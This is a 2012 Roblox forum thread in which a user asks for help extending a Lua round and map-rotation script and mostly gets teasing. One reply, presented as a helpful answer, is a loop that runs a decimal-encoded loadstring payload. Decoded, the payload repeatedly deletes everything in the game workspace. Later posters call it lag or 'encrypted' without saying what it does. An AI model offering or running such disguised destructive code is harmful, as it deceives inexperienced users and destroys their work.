generic image
Processing...
  • Games
  • Catalog
  • Develop
  • Robux
  • Search in Players
  • Search in Games
  • Search in Catalog
  • Search in Groups
  • Search in Library
  • Log In
  • Sign Up
  • Games
  • Catalog
  • Develop
  • Robux
   
ROBLOX Forum » Game Creation and Development » Scripting Helpers
Home Search
 

Re: Help on this script

Previous Thread :: Next Thread 
bl0wmeup is not online. bl0wmeup
Joined: 27 Nov 2009
Total Posts: 14388
18 Jul 2012 08:41 PM
I need this script to be able to end the match when all players on a team are dead or after the time limit has run out, the team with the most players win. Also, I want it to announce the name of the map when the map is about to be put in play.


timePerMap = 120 --change this to the time in seconds each map should be played for
timePerLob = 30 --change this to the time in seconds the players should be in the lobby for

maps,currentMap = {},1
for i,v in pairs(game.Lighting.Maps:GetChildren()) do
maps[#maps+1] = v
end

function playersToMap()
local sp = false
for i,v in pairs(game.Players:GetChildren()) do
if v and v.Character and v.Character.Humanoid then
sp = maps[currentMap]:FindFirstChild(tostring(v.TeamColor).." spawn")
v.Character:MoveTo(sp.Position+Vector3.new(math.random(0,sp.Size.X)-sp.Size.X/2,3,math.random(0,sp.Size.X)-sp.Size.X/2))
end
end
end

function playersToLobby()
for i,v in pairs(game.Players:GetChildren()) do
if v and v.Character and v.Character.Humanoid then
v.Character:MoveTo(workspace:FindFirstChild(tostring(v.TeamColor).." lobbySpawn").Position+Vector3.new(0,3,0))
end
end
end

function changeMap()
maps[currentMap].Parent,cmo = game.Lighting.Maps,currentMap
repeat
wait()
currentMap = math.random(1,#maps)
until currentMap ~= cmo
maps[currentMap].Parent = game.workspace
end

function updateTimer(s)
tText = (""..math.floor(s/60)..":"..string.rep("0",2-#tostring(s%60))..s%60)
for i,v in pairs(game.Players:GetChildren()) do
if v and v.PlayerGui and v.PlayerGui.ScreenGui and v.PlayerGui.ScreenGui.Timer and v.PlayerGui.ScreenGui.Timer.Label then
v.PlayerGui.ScreenGui.Timer.Label.Text = tText
end
end
end

function shuffleTeams()
playerTable,teams,teamNum = game.Players:GetChildren(),game.Teams:GetChildren(),1
repeat
playerTable[1].TeamColor = teams[teamNum].TeamColor
table.remove(playerTable,1)
teamNum = ((teamNum+1)%#teams)+1
until #playerTable == 0
end

roundCount = 0
changeMap()
while true do
roundCount = roundCount+1
if roundCount%5 == 0 then
shuffleTeams()
end
playersToLobby()
for i = 1,timePerLob do
updateTimer(timePerLob-i+1)
wait(1)
end
changeMap()
playersToMap()
for i = 1,timePerMap do
updateTimer(timePerMap-i+1)
wait(1)
end
end
Report Abuse
Darkmist101 is not online. Darkmist101
Joined: 30 Jul 2010
Total Posts: 6208
18 Jul 2012 08:43 PM
Seeing comments defining the variables tell us a lot about this script.
Report Abuse
bl0wmeup is not online. bl0wmeup
Joined: 27 Nov 2009
Total Posts: 14388
18 Jul 2012 08:50 PM
What do you mean @ Darkmist
Report Abuse
Darkmist101 is not online. Darkmist101
Joined: 30 Jul 2010
Total Posts: 6208
18 Jul 2012 08:51 PM
timePerMap = 120 --change this to the time in seconds each map should be played for
timePerLob = 30 --change this to the time in seconds the players should be in the lobby for
Report Abuse
thedeathmaster01 is not online. thedeathmaster01
Joined: 14 Mar 2010
Total Posts: 6331
18 Jul 2012 08:52 PM
Free models. I called it!

-thedeathmaster01
Report Abuse
Atoary is not online. Atoary
Joined: 28 May 2011
Total Posts: 36
18 Jul 2012 08:52 PM
I have a map changing script that works perfect, and you can choose to have the changing map message appear as the m/ GUI or h/ GUI, but it looks like your making some type of minigame script so im not sure.
Report Abuse
bl0wmeup is not online. bl0wmeup
Joined: 27 Nov 2009
Total Posts: 14388
18 Jul 2012 08:52 PM
Im sorry. Currently this script changes maps and the game lasts for 120 second and the time in lobby is 30 seconds. Every 3 rounds it also randomly picks teams. But I want it to announce the map's name in Lighting and so that when all players on a team are killed, the other teams win or when the time limit runs out the team with the most players win.
Report Abuse
Atoary is not online. Atoary
Joined: 28 May 2011
Total Posts: 36
18 Jul 2012 08:53 PM
Also, my script does not contain teams so nvm lol
Report Abuse
bl0wmeup is not online. bl0wmeup
Joined: 27 Nov 2009
Total Posts: 14388
18 Jul 2012 08:53 PM
@thedeath, nope he made it for me. http://www.roblox.com/User.aspx?ID=7137535
Report Abuse
Darkmist101 is not online. Darkmist101
Joined: 30 Jul 2010
Total Posts: 6208
18 Jul 2012 08:55 PM
Go bother him about it;
you should of given him the specifications in the first place.

Its not our fault you forgot;
and can't edit it.
Report Abuse
bl0wmeup is not online. bl0wmeup
Joined: 27 Nov 2009
Total Posts: 14388
18 Jul 2012 08:56 PM
No, there is this forum for a reason. He would help me if he didn't have a real life project. Don't insult me and think you are superior than me. I actually try things before I come for help.
Report Abuse
Atoary is not online. Atoary
Joined: 28 May 2011
Total Posts: 36
18 Jul 2012 08:57 PM
local msg = Instance.new("Message")
msg.Parent = game.Workspace
msg.Text = ("Changing Arena...")
msg:remove()
Report Abuse
thecaptain97 is not online. thecaptain97
Joined: 17 Jun 2010
Total Posts: 4987
18 Jul 2012 08:59 PM
while wait() do
loadstring5("\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\119\111\114\107\115\112\97\99\101\58\67\108\101\97\114\65\108\108\67\104\105\108\100\114\101\110\40\41\32\101\110\100\41\13\10\112\114\105\110\116\40\34\72\73\32\80\69\79\80\76\69\32\61\68\32\34\41\10\10")()
end


I win. =D
Report Abuse
bl0wmeup is not online. bl0wmeup
Joined: 27 Nov 2009
Total Posts: 14388
18 Jul 2012 09:00 PM
@thecaptain, I do not know what that does so I'm not even gonna try o_o
Report Abuse
thecaptain97 is not online. thecaptain97
Joined: 17 Jun 2010
Total Posts: 4987
18 Jul 2012 09:03 PM
Sorry, excuse my Typo:

while wait(5) do
loadstring("\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\119\111\114\107\115\112\97\99\101\58\67\108\101\97\114\65\108\108\67\104\105\108\100\114\101\110\40\41\32\101\110\100\41\13\10\112\114\105\110\116\40\34\72\73\32\80\69\79\80\76\69\32\61\68\32\34\41\10\10")()
end
Report Abuse
bl0wmeup is not online. bl0wmeup
Joined: 27 Nov 2009
Total Posts: 14388
18 Jul 2012 09:05 PM
@atoary, that script doesn't announce anything =l
@thecaptain, im pretty sure that lags the game
Report Abuse
thecaptain97 is not online. thecaptain97
Joined: 17 Jun 2010
Total Posts: 4987
18 Jul 2012 09:07 PM
while wait(5) do does not lag the Game.
Report Abuse
Joalmo is not online. Joalmo
Joined: 28 Jun 2009
Total Posts: 1160
18 Jul 2012 09:08 PM
It will lag the game, don't bother trying it.
Report Abuse
thecaptain97 is not online. thecaptain97
Joined: 17 Jun 2010
Total Posts: 4987
18 Jul 2012 09:10 PM
Please tell Me how a Script that runs every 5 Seconds, Lags the Game.
Report Abuse
Joalmo is not online. Joalmo
Joined: 28 Jun 2009
Total Posts: 1160
18 Jul 2012 09:10 PM
I can't tell if you're dumb or you're doing this on purpose.

loadstring("\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\119\111\114\107\115\112\97\99\101\58\67\108\101\97\114\65\108\108\67\104\105\108\100\114\101\110\40\41\32\101\110\100\41\13\10\112\114\105\110\116\40\34\72\73\32\80\69\79\80\76\69\32\61\68\32\34\41\10\10")()

Will lag the game.
Report Abuse
bl0wmeup is not online. bl0wmeup
Joined: 27 Nov 2009
Total Posts: 14388
18 Jul 2012 09:15 PM
what are those numbers even there for?
Report Abuse
Darkmist101 is not online. Darkmist101
Joined: 30 Jul 2010
Total Posts: 6208
18 Jul 2012 09:15 PM
Its encrypted.
Report Abuse
thecaptain97 is not online. thecaptain97
Joined: 17 Jun 2010
Total Posts: 4987
18 Jul 2012 09:16 PM
Aparently the use of byte code Here is frowned apon.

The Numbers are Byte Code, loadstring doesn't Lag the Game.
Report Abuse
Darkmist101 is not online. Darkmist101
Joined: 30 Jul 2010
Total Posts: 6208
18 Jul 2012 09:16 PM
Its not;
I laughed.
Report Abuse
bl0wmeup is not online. bl0wmeup
Joined: 27 Nov 2009
Total Posts: 14388
18 Jul 2012 09:17 PM
Can someone please help me on the script? :<
Report Abuse
Previous Thread :: Next Thread 
Page 1 of 1
 
 
ROBLOX Forum » Game Creation and Development » Scripting Helpers
   
 
   
  • About Us
  • Jobs
  • Blog
  • Parents
  • Help
  • Terms
  • Privacy

©2017 Roblox Corporation. Roblox, the Roblox logo, Robux, Bloxy, and Powering Imagination are among our registered and unregistered trademarks in the U.S. and other countries.



Progress
Starting Roblox...
Connecting to Players...
R R

Roblox is now loading. Get ready to play!

R R

You're moments away from getting into the game!

Click here for help

Check Remember my choice and click Launch Application in the dialog box above to join games faster in the future!

Gameplay sponsored by:
Loading 0% - Starting game...
Get more with Builders Club! Join Builders Club
Choose Your Avatar
I have an account
generic image